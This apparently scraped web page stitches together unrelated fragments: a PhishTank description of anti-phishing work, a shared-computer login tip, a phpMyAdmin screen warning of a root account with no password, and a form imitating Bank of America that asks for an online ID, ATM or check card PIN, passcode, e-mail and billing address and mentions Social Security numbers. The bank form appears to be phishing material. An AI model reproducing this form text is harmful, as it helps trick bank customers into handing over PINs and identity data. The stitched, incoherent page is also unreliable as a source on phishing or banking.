What is phishing?

Phishing is a fraudulent attempt, usually made through email, to steal your personal information.

[Learn more...](#)

What is PhishTank?

PhishTank is a collaborative clearing house for data and information about phishing on the Internet. Also, PhishTank provides an open API for developers and researchers to integrate anti-phishing data into their applications at no charge.

Help some Carnegie Mellon

University researchers by completing a brief survey of anti-phishing

Ever log in using a shared PC?
It might be in an Internet cafe or at a university. Wherever, always try to ensure the latest antivirus, firewall and browser software is installed.

If in doubt, we recommend you don't use the PC. You can get more info from our 'Security and privacy' pages.

Once logged in, if a session is inactive longer than 15 minutes, we'll automatically log you out.

Secure account log in.

- [phpMyAdmin documentation](#)
- Show PHP information
- Official phpMyAdmin Homepage
[\[ChangeLog\]](#) [\[CVS\]](#) [\[Lists\]](#)

The `$cfg['PmaAbsoluteUri']` directive MUST be set in your configuration file!

Your configuration file contains settings (root with no password) that correspond to the default MySQL privileged account. Your MySQL server is running with this default, is open to intrusion, and you really should fix this security hole.

[Query window](#)

Done

Update Information

Quick Help

Use this page to create your new passcode.

What do I need to know?

- To preserve your security, the **Back** button on your browser will be disabled while you are entering your personal information.
- Creating a unique online ID and passcode ensures that only you will have access to your accounts through Online Banking.
- When selecting your new passcode, consider modifying numbers that you already have memorized but that would not be obvious to someone attempting to guess.
- If you use uppercase or lowercase letters to create your passcode, you must use the same capitalization whenever you sign in.
- We use your Social Security or Tax Identification number

Please complete all of the information

USER INFORMATION

State where your accounts were opened :

Select Your State

Online ID : (5-20 digits)

Bank of America ATM or Check Card PIN : (4-6 digits)

Passcode : (4-7 numbers and/or letters, case-sensitive)

Re-enter your passcode :

E-mail Address :

BILLING ADDRESS

Card holder name :

Address1 :

Address2 :

City :

State : Select Your State

Zip :

Country : U S A
